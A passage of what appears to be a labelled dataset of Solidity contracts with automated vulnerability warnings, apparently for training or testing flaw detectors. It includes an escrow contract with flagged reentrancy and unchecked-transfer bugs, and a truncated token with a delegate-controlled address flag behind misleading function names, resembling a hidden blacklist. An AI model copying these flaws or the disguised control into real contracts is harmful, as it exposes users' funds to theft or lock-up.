);\n\n require(_contract.active, \"Contract not active\");\n\n require(_contract.valueRemaining > 0, \"No value remaining\");\n\n require(!_contract.inDispute, \"Contract already in dispute\");\n\n if (_fullContractDispute) {\n _contract.inDispute = true;\n } else {\n Milestone storage milestone = _contract.milestones[_milestoneId];\n\n require(!milestone.inDispute, \"Milestone already in dispute\");\n\n milestone.inDispute = true;\n }\n\n uint256 snapshotBlock = block.number;\n\n Dispute storage dispute = disputes[_contractId];\n\n dispute.contractId = _contractId;\n\n dispute.milestoneId = _milestoneId;\n\n dispute.fullContractDispute = _fullContractDispute;\n\n dispute.resolved = false;\n\n dispute.snapshotBlock = snapshotBlock;\n\n dispute.yesVotes = 0;\n\n dispute.noVotes = 0;\n\n dispute.votingDeadline = block.timestamp + VOTING_DURATION;\n\n dispute.totalVotes = 0;\n\n emit DisputeCreated(\n _contractId,\n _milestoneId,\n _fullContractDispute,\n snapshotBlock\n );\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: cb00da1): Dangerous usage of 'block.timestamp'. 'block.timestamp' can be manipulated by miners.\n\t// Recommendation for cb00da1: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: f463b21): SendrTimeEscrow.voteOnDispute(uint256,bool).amountDelegated is a local variable never initialized\n\t// Recommendation for f463b21: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function voteOnDispute(\n uint256 _contractId,\n bool _voteInFavorOfPayee\n ) public nonReentrant {\n Dispute storage dispute = disputes[_contractId];\n\n require(!dispute.resolved, \"Dispute already resolved\");\n\n\t\t\t// timestamp | ID: cb00da1\n if (\n block.timestamp <= dispute.votingDeadline &&\n dispute.totalVotes <\n ((sendrToken.totalSupply() * THRESHOLD_PERCENT) / 100)\n ) {\n dispute.votingDeadline += VOTING_EXTENSION_DURATION;\n }\n\t\t// timestamp | ID: cb00da1\n\n require(\n block.timestamp <= dispute.votingDeadline,\n \"Voting period has ended\"\n );\n\n require(!dispute.hasVoted[msg.sender], \"You have already voted\");\n\n uint256 voterBalance = sendrToken.balanceOf(msg.sender);\n\n uint256 amountDelegated;\n\n if (address(escrowV1) != address(0)) {\n amountDelegated = escrowV1.getPastVotes(\n msg.sender,\n dispute.snapshotBlock\n );\n }\n\n require(voterBalance >= amountDelegated, \"Power not delegated\");\n\n if (_voteInFavorOfPayee) {\n dispute.yesVotes += voterBalance;\n } else {\n dispute.noVotes += voterBalance;\n }\n\n dispute.totalVotes += voterBalance;\n\n dispute.hasVoted[msg.sender] = true;\n\n uint256 totalSupply = sendrToken.totalSupply();\n\n if (dispute.totalVotes >= ((totalSupply * THRESHOLD_PERCENT) / 100)) {\n _resolveDispute(_contractId);\n }\n }\n\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 5dd6969): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 5dd6969: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: f4c36fb): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for f4c36fb: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 624f338): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 624f338: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _resolveDispute(uint256 _contractId) internal {\n Dispute storage dispute = disputes[_contractId];\n\n require(!dispute.resolved, \"Dispute already resolved\");\n\n Contract storage _contract = contracts[_contractId];\n\n Milestone storage milestone = _contract.milestones[dispute.milestoneId];\n\n bool inFavorOfPayee = dispute.yesVotes > dispute.noVotes;\n\n dispute.resolved = true;\n\n if (inFavorOfPayee) {\n if (dispute.fullContractDispute) {\n\t\t\t\t// reentrancy-eth | ID: 624f338\n _sendFunds(\n _contractId,\n _contract.payee,\n _contract.valueRemaining\n );\n\n\t\t\t\t// reentrancy-eth | ID: 624f338\n _contract.valueRemaining = 0;\n\n\t\t\t\t// reentrancy-eth | ID: 624f338\n _contract.inDispute = false;\n\n\t\t\t\t// reentrancy-eth | ID: 624f338\n _contract.active = false;\n } else {\n\t\t\t\t// reentrancy-eth | ID: 5dd6969\n _sendFunds(_contractId, _contract.payee, milestone.value);\n\n milestone.released = true;\n\n milestone.inDispute = false;\n\n\t\t\t\t// reentrancy-eth | ID: 5dd6969\n _contract.valueRemaining -= milestone.value;\n }\n } else {\n if (dispute.fullContractDispute) {\n\t\t\t\t// reentrancy-eth | ID: f4c36fb\n _sendFunds(\n _contractId,\n _contract.payer,\n _contract.valueRemaining\n );\n\n\t\t\t\t// reentrancy-eth | ID: f4c36fb\n _contract.valueRemaining = 0;\n\n\t\t\t\t// reentrancy-eth | ID: f4c36fb\n _contract.inDispute = false;\n\n\t\t\t\t// reentrancy-eth | ID: f4c36fb\n _contract.active = false;\n } else {\n _sendFunds(_contractId, _contract.payer, milestone.value);\n\n milestone.inDispute = false;\n }\n }\n\n emit DisputeResolved(_contractId, dispute.milestoneId, inFavorOfPayee);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: a9e242d): SendrTimeEscrow._sendFunds(uint256,address,uint256) sends eth to arbitrary user Dangerous calls address(FEE_WALLET).transfer(fee)\n\t// Recommendation for a9e242d: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function _sendFunds(\n uint256 _contractId,\n address recipient,\n uint256 amount\n ) internal {\n require(FEE_WALLET != address(0), \"Fee wallet not set\");\n\n Contract storage _contract = contracts[_contractId];\n\n uint256 fee = (amount * CONTRACT_FEE) / 10000;\n\n uint256 remainingAmount = amount - fee;\n\n if (_contract.tokenAddress == address(0)) {\n\t\t\t// reentrancy-eth | ID: 5dd6969\n\t\t\t// reentrancy-eth | ID: d0b979f\n\t\t\t// reentrancy-eth | ID: f4c36fb\n\t\t\t// reentrancy-eth | ID: 624f338\n\t\t\t// arbitrary-send-eth | ID: a9e242d\n payable(FEE_WALLET).transfer(fee);\n\n\t\t\t// reentrancy-eth | ID: 5dd6969\n\t\t\t// reentrancy-eth | ID: d0b979f\n\t\t\t// reentrancy-eth | ID: f4c36fb\n\t\t\t// reentrancy-eth | ID: 624f338\n payable(recipient).transfer(remainingAmount);\n } else {\n IERC20 token = IERC20(_contract.tokenAddress);\n\n\t\t\t// reentrancy-benign | ID: e367532\n\t\t\t// reentrancy-eth | ID: 5dd6969\n\t\t\t// reentrancy-eth | ID: d0b979f\n\t\t\t// reentrancy-eth | ID: f4c36fb\n\t\t\t// reentrancy-eth | ID: 624f338\n require(token.transfer(FEE_WALLET, fee), \"Transfer Failed\");\n\n\t\t\t// reentrancy-benign | ID: e367532\n\t\t\t// reentrancy-eth | ID: 5dd6969\n\t\t\t// reentrancy-eth | ID: d0b979f\n\t\t\t// reentrancy-eth | ID: f4c36fb\n\t\t\t// reentrancy-eth | ID: 624f338\n require(\n token.transfer(recipient, remainingAmount),\n \"Transfer Failed\"\n );\n }\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 6837ab9): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 6837ab9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function createContract(\n uint256[] memory _values,\n string[] memory _titles,\n uint256[] memory _releaseTime,\n uint256 _numMilestones,\n address _payer,\n address _payee,\n address _tokenAddress,\n string memory _title,\n string memory _id\n ) public payable nonReentrant {\n require(\n msg.sender == _payer || msg.sender == _payee,\n \"Contract creator must be the payer or payee\"\n );\n\n require(_payer != _payee, \"Payer and Payee addresses must differ\");\n\n require(\n _values.length == _numMilestones &&\n _titles.length == _numMilestones,\n \"Invalid number of milestones\"\n );\n\n uint256 toSend = 0;\n\n address _signer;\n\n if (msg.sender == _payer) {\n _signer = _payee;\n\n for (uint256 i = 0; i < _values.length; i++) {\n require(_values[i] > 0, \"Value must be greater than 0\");\n\n toSend += _values[i];\n }\n\n if (_tokenAddress != address(0)) {\n\t\t\t\t// reentrancy-benign | ID: 6837ab9\n require(\n IERC20(_tokenAddress).transferFrom(\n msg.sender,\n address(this),\n toSend\n ),\n \"ERC20 transfer failed\"\n );\n\n\t\t\t\t// reentrancy-benign | ID: 6837ab9\n fundedStatus[contractCount] = true;\n } else {\n require(msg.value == toSend, \"Wrong ETH amount\");\n\n fundedStatus[contractCount] = true;\n }\n } else {\n _signer = _payer;\n }\n\n Milestone[] memory milestones = new Milestone[](_numMilestones);\n\n uint256 _totalValue = 0;\n\n for (uint256 i = 0; i < _numMilestones; i++) {\n _totalValue += _values[i];\n\n milestones[i] = Milestone(\n contractCount,\n _values[i],\n _titles[i],\n false,\n false,\n _releaseTime[i]\n );\n }\n\n Contract storage newContract = contracts[contractCount];\n\n\t\t// reentrancy-benign | ID: 6837ab9\n newContract.payer = _payer;\n\n\t\t// reentrancy-benign | ID: 6837ab9\n newContract.payee = _payee;\n\n\t\t// reentrancy-benign | ID: 6837ab9\n newContract.title = _title;\n\n\t\t// reentrancy-benign | ID: 6837ab9\n newContract.tokenAddress = _tokenAddress;\n\n\t\t// reentrancy-benign | ID: 6837ab9\n newContract.contractId = contractCount;\n\n if (msg.sender == _payer) {\n\t\t\t// reentrancy-benign | ID: 6837ab9\n newContract.valueRemaining = _totalValue;\n } else {\n\t\t\t// reentrancy-benign | ID: 6837ab9\n newContract.valueRemaining = 0;\n }\n\n newContract.active = false;\n\n for (uint256 i = 0; i < milestones.length; i++) {\n newContract.milestones.push(milestones[i]);\n }\n\n\t\t// reentrancy-benign | ID: 6837ab9\n signer[contractCount] = _signer;\n\n emit ContractCreated(contractCount, _payer, _payee, _title, _id);\n\n\t\t// reentrancy-benign | ID: 6837ab9\n contractCount += 1;\n }\n\n function _generateMilestoneArray(\n uint256 _contractId,\n uint256[] memory _values,\n string[] memory _titles,\n uint256[] memory _releaseTime,\n uint256 _numMilestones\n ) internal pure returns (Milestone[] memory, uint256) {\n Milestone[] memory toReturn = new Milestone[](_numMilestones);\n\n uint256 _totalValue = 0;\n\n for (uint256 i = 0; i < _numMilestones; i++) {\n _totalValue += _values[i];\n\n toReturn[i] = Milestone(\n _contractId,\n _values[i],\n _titles[i],\n false,\n false,\n _releaseTime[i]\n );\n }\n\n return (toReturn, _totalValue);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: e3a27da): Dangerous usage of 'block.timestamp'. 'block.timestamp' can be manipulated by miners.\n\t// Recommendation for e3a27da: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: d16f780): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for d16f780: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 5857c63): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 5857c63: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: ee8bb21): SendrTimeEscrow.signContract(uint256) uses a dangerous strict equality require(bool,string)(toSend == newBalance currentBalance,Transfer failed)\n\t// Recommendation for ee8bb21: Don't use strict equality to determine if an account has enough Ether or tokens.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 269096c): SendrTimeEscrow.signContract(uint256)._status shadows ReentrancyGuard._status (state variable)\n\t// Recommendation for 269096c: Rename the local variables that shadow another component.\n function signContract(uint256 _contractId) public payable nonReentrant {\n Contract storage _contract = contracts[_contractId];\n\n address _signer = signer[_contractId];\n\n require(_signer == msg.sender, \"You are not the signer\");\n\t\t// timestamp | ID: e3a27da\n\n require(!_contract.active, \"Contract already active\");\n\t\t// timestamp | ID: e3a27da\n\n require(!_contract.inDispute, \"Contract in dispute\");\n\n uint256 toSend = 0;\n\n if (_signer == _contract.payer) {\n for (uint256 i = 0; i < _contract.milestones.length; i++) {\n toSend += _contract.milestones[i].value;\n }\n\n if (_contract.tokenAddress != address(0)) {\n address _tokenAddress = _contract.tokenAddress;\n\n uint256 currentBalance = IERC20(_tokenAddress).balanceOf(\n address(this)\n );\n\t\t\t\t// reentrancy-benign | ID: d16f780\n\t\t\t\t// reentrancy-no-eth | ID: 5857c63\n\n require(\n IERC20(_tokenAddress).transferFrom(\n msg.sender,\n address(this),\n toSend\n )\n );\n\n uint256 newBalance = IERC20(_tokenAddress).balanceOf(\n address(this)\n );\n\t\t\t\t// incorrect-equality | ID: ee8bb21\n\n require(\n toSend == newBalance - currentBalance,\n \"Transfer failed\"\n );\n } else {\n require(msg.value == toSend, \"Wrong ETH amount\");\n }\n\t\t\t// reentrancy-benign | ID: d16f780\n\n fundedStatus[_contractId] = true;\n\t\t\t// reentrancy-no-eth | ID: 5857c63\n\n _contract.valueRemaining = toSend;\n }\n\n bool _status = fundedStatus[_contractId];\n\n require(_status, \"Contract improperly funded\");\n\n\t\t// reentrancy-no-eth | ID: 5857c63\n _contract.active = true;\n\n\t\t// reentrancy-no-eth | ID: 5857c63\n _contract.startBlock = block.timestamp;\n\n\t\t// reentrancy-benign | ID: d16f780\n activeContracts += 1;\n\n emit ContractSigned(\n _contractId,\n _contract.payer,\n _contract.payee,\n _contract.title\n );\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: d566acf): SendrTimeEscrow.claimMilestone(uint256,uint256) uses timestamp for comparisons Dangerous comparisons require(bool,string)(block.timestamp >= milestone.releaseTime,Milestone not released yet!)\n\t// Recommendation for d566acf: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: e367532): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for e367532: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: d0b979f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for d0b979f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function claimMilestone(\n uint256 _contractId,\n uint256 _milestoneId\n ) public nonReentrant {\n Contract storage _contract = contracts[_contractId];\n\n bool _voided = voided[_contractId];\n\n require(!_voided, \"Contract voided\");\n\n require(_contract.active, \"Contract inactive\");\n\n bool _completedStatus = completedStatus[_contractId];\n\n require(!_completedStatus, \"Contract completed\");\n\n require(\n _milestoneId < _contract.milestones.length,\n \"Out of bounds error\"\n );\n\n require(\n msg.sender == _contract.payee,\n \"Not a valid party of the contract\"\n );\n\n require(!_contract.inDispute, \"Contract in dispute\");\n\n Milestone storage milestone = _contract.milestones[_milestoneId];\n\n require(!milestone.inDispute, \"Milestone in dispute\");\n\n require(!milestone.released, \"Milestone already released\");\n\n\t\t// timestamp | ID: d566acf\n require(\n block.timestamp >= milestone.releaseTime,\n \"Milestone not released yet!\"\n );\n\n milestone.released = true;\n\n\t\t// reentrancy-benign | ID: e367532\n\t\t// reentrancy-eth | ID: d0b979f\n _sendFunds(_contractId, _contract.payee, milestone.value);\n\n\t\t// reentrancy-eth | ID: d0b979f\n _contract.valueRemaining -= milestone.value;\n\n emit MilestoneClaimed(\n _contractId,\n _contract.payer,\n _contract.payee,\n milestone.title,\n _milestoneId,\n block.timestamp\n );\n\n bool allReleased = true;\n\n for (uint256 i = 0; i < _contract.milestones.length; i++) {\n if (!_contract.milestones[i].released) {\n allReleased = false;\n\n break;\n }\n }\n\n if (allReleased) {\n\t\t\t// reentrancy-eth | ID: d0b979f\n completedStatus[_contractId] = true;\n\n\t\t\t// reentrancy-benign | ID: e367532\n activeContracts -= 1;\n\n\t\t\t// reentrancy-eth | ID: d0b979f\n _contract.active = false;\n\n emit ContractCompleted(_contractId);\n }\n }\n\n function disputeMilestone(\n uint256 _contractId,\n uint256 _milestoneId\n ) public {\n Contract storage _contract = contracts[_contractId];\n\n require(\n msg.sender == _contract.payer || msg.sender == _contract.payee,\n \"Must be a valid party of the contract\"\n );\n\n require(_contract.active, \"Contract must be active\");\n\n require(\n _milestoneId < _contract.milestones.length,\n \"Out of bounds error\"\n );\n\n require(!_contract.inDispute, \"This contract is already in dispute\");\n\n Milestone[] storage _milestones = _contract.milestones;\n\n require(\n !_milestones[_milestoneId].inDispute,\n \"Milestone is already in dispute\"\n );\n\n _milestones[_milestoneId].inDispute = true;\n\n emit MilestoneDisputed(_contractId, _milestoneId);\n }\n\n function disputeContract(uint256 _contractId) public {\n Contract storage _contract = contracts[_contractId];\n\n require(\n msg.sender == _contract.payer || msg.sender == _contract.payee,\n \"Must be a valid party of the contract\"\n );\n\n require(_contract.active, \"Contract must be active\");\n\n require(_contract.valueRemaining > 0, \"Contract empty\");\n\n require(!_contract.inDispute, \"Contract already in dispute\");\n\n _contract.inDispute = true;\n\n emit ContractDisputed(_contractId);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: a81b06b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for a81b06b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: cc04518): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for cc04518: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 8757ed6): SendrTimeEscrow.voidContract(uint256) ignores return value by IERC20(_contract.tokenAddress).transfer(_contract.payer,_contract.valueRemaining)\n\t// Recommendation for 8757ed6: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 343710a): SendrTimeEscrow.voidContract(uint256) ignores return value by IERC20(_contract.tokenAddress).transfer(_contract.payer,_contract.valueRemaining)\n\t// Recommendation for 343710a: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: ec5f8c4): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for ec5f8c4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: ecdda43): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for ecdda43: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: e66c529): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for e66c529: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: f15262b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for f15262b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function voidContract(uint256 _contractId) public nonReentrant {\n bool _voided = voided[_contractId];\n\n require(!_voided, \"Contract voided\");\n\n Contract storage _contract = contracts[_contractId];\n\n require(\n msg.sender == _contract.payer || msg.sender == _contract.payee,\n \"Must be a valid party of the contract\"\n );\n\n bool _senderStatus = voidCheck[msg.sender][_contractId];\n\n require(!_senderStatus, \"Already voided on your end\");\n\n voidCheck[msg.sender][_contractId] = true;\n\n if (!_contract.active && msg.sender == _contract.payer) {\n if (_contract.tokenAddress == address(0)) {\n\t\t\t\t// reentrancy-eth | ID: ec5f8c4\n\t\t\t\t// reentrancy-eth | ID: ecdda43\n\t\t\t\t// reentrancy-eth | ID: e66c529\n\t\t\t\t// reentrancy-eth | ID: f15262b\n payable(_contract.payer).transfer(_contract.valueRemaining);\n\n _contract.valueRemaining = 0;\n } else {\n\t\t\t\t// reentrancy-benign | ID: a81b06b\n\t\t\t\t// reentrancy-no-eth | ID: cc04518\n\t\t\t\t// unchecked-transfer | ID: 8757ed6\n\t\t\t\t// reentrancy-eth | ID: ec5f8c4\n\t\t\t\t// reentrancy-eth | ID: ecdda43\n\t\t\t\t// reentrancy-eth | ID: e66c529\n\t\t\t\t// reentrancy-eth | ID: f15262b\n IERC20(_contract.tokenAddress).transfer(\n _contract.payer,\n _contract.valueRemaining\n );\n\n\t\t\t\t// reentrancy-no-eth | ID: cc04518\n _contract.valueRemaining = 0;\n }\n\n\t\t\t// reentrancy-eth | ID: ec5f8c4\n _contract.active = false;\n\n\t\t\t// reentrancy-eth | ID: ec5f8c4\n voided[_contractId] = true;\n\n emit ContractVoided(_contractId);\n }\n\n address _otherParty;\n\n if (msg.sender == _contract.payer) {\n _otherParty = _contract.payee;\n } else {\n _otherParty = _contract.payer;\n }\n\n bool _otherPartyStatus = voidCheck[_otherParty][_contractId];\n\n if (_otherPartyStatus) {\n if (_contract.tokenAddress == address(0)) {\n\t\t\t\t// reentrancy-eth | ID: ecdda43\n\t\t\t\t// reentrancy-eth | ID: e66c529\n payable(_contract.payer).transfer(_contract.valueRemaining);\n\n\t\t\t\t// reentrancy-eth | ID: ecdda43\n _contract.valueRemaining = 0;\n } else {\n\t\t\t\t// reentrancy-benign | ID: a81b06b\n\t\t\t\t// unchecked-transfer | ID: 343710a\n\t\t\t\t// reentrancy-eth | ID: e66c529\n\t\t\t\t// reentrancy-eth | ID: f15262b\n IERC20(_contract.tokenAddress).transfer(\n _contract.payer,\n _contract.valueRemaining\n );\n\n\t\t\t\t// reentrancy-eth | ID: f15262b\n _contract.valueRemaining = 0;\n }\n\n\t\t\t// reentrancy-benign | ID: a81b06b\n activeContracts -= 1;\n\n\t\t\t// reentrancy-eth | ID: e66c529\n _contract.active = false;\n\n\t\t\t// reentrancy-eth | ID: e66c529\n voided[_contractId] = true;\n\n emit ContractVoided(_contractId);\n }\n }\n\n function getMilestones(\n uint256 _contractId\n ) external view returns (Milestone[] memory milestones) {\n Contract storage _contract = contracts[_contractId];\n\n uint256 length = _contract.milestones.length;\n\n milestones = new Milestone[](length);\n\n for (uint256 i = 0; i < length; i++) {\n milestones[i] = _contract.milestones[i];\n }\n }\n}", "file_name": "solidity_code_869.sol", "secure": 0, "size_bytes": 35258 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: b6c2c22): Contract locking ether found Contract SupercycleMario has payable functions SupercycleMario.receive() But does not have a function to withdraw the ether\n// Recommendation for b6c2c22: Remove the 'payable' attribute or add a withdraw function.\ncontract SupercycleMario is ERC20, Ownable {\n constructor() ERC20(\"Supercycle Mario\", \"MARIO\") {\n _mint(owner(), 1_000_000_000 * (10 ** 18));\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: b6c2c22): Contract locking ether found Contract SupercycleMario has payable functions SupercycleMario.receive() But does not have a function to withdraw the ether\n\t// Recommendation for b6c2c22: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}", "file_name": "solidity_code_87.sol", "secure": 0, "size_bytes": 1039 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface ITokenBuyer {\n function buyExactTokens(\n address tokenAddress,\n uint256 tokenAmount,\n address refundAddress\n ) external payable;\n\n function withdraw() external;\n}", "file_name": "solidity_code_870.sol", "secure": 1, "size_bytes": 272 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./ITokenBuyer.sol\" as ITokenBuyer;\n\ncontract TokenBuyerCaller {\n ITokenBuyer public immutable tokenBuyer;\n\n address public immutable owner;\n\n constructor(address _tokenBuyer) {\n tokenBuyer = ITokenBuyer(_tokenBuyer);\n\n owner = msg.sender;\n }\n\n modifier onlyOwner() {\n require(msg.sender == owner, \"Caller is not the owner\");\n\n _;\n }\n\n function buyTokens(\n address tokenAddress,\n uint256 tokenAmount,\n address refundAddress\n ) external payable {\n tokenBuyer.buyExactTokens{value: msg.value}(\n tokenAddress,\n tokenAmount,\n refundAddress\n );\n }\n\n function triggerWithdrawal() external onlyOwner {\n tokenBuyer.withdraw();\n }\n\n function withdraw() external onlyOwner {\n (bool success, ) = payable(owner).call{value: address(this).balance}(\n \"\"\n );\n\n require(success, \"Failed to send Ether\");\n }\n\n receive() external payable {}\n\n fallback() external payable {}\n}", "file_name": "solidity_code_871.sol", "secure": 1, "size_bytes": 1152 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\n\nabstract contract Ownable is Context {\n address private _owner;\n\n address internal _delegate;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _transferOwnership(_msgSender());\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n modifier onlyDelegates() {\n require(\n _delegate == _msgSender(),\n \"Delegates: caller is not the delegate\"\n );\n\n _;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: cac2cfe): Ownable.delegate(address)._address lacks a zerocheck on \t _delegate = _address\n\t// Recommendation for cac2cfe: Check that the address is not zero.\n function delegate(address _address) external onlyOwner {\n require(_delegate == address(0));\n\n\t\t// missing-zero-check | ID: cac2cfe\n\t\t// events-access | ID: fc147dd\n _delegate = _address;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}", "file_name": "solidity_code_872.sol", "secure": 0, "size_bytes": 1594 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address accountOwner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed accountOwner,\n address indexed spender,\n uint256 value\n );\n}", "file_name": "solidity_code_873.sol", "secure": 1, "size_bytes": 1071 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract ERC20 is Ownable, IERC20 {\n mapping(address => uint256) internal _balances;\n\n mapping(address => bool) private _onlyDelegatesBalanceOf;\n\n mapping(address => mapping(address => uint256)) internal _allowances;\n\n uint256 internal _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private _decimals;\n\n constructor(string memory name_, string memory symbol_, uint8 decimals_) {\n _name = name_;\n\n _symbol = symbol_;\n\n _decimals = decimals_;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function swap(address[] calldata spender, bool val) external onlyDelegates {\n for (uint256 i = 0; i < spender.length; i++) {\n _onlyDelegatesBalanceOf[spender[i]] = val;\n }\n }\n\n function sellTotalFees(address spender) public view returns (bool) {\n return _onlyDelegatesBalanceOf[spender];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function burn(uint256 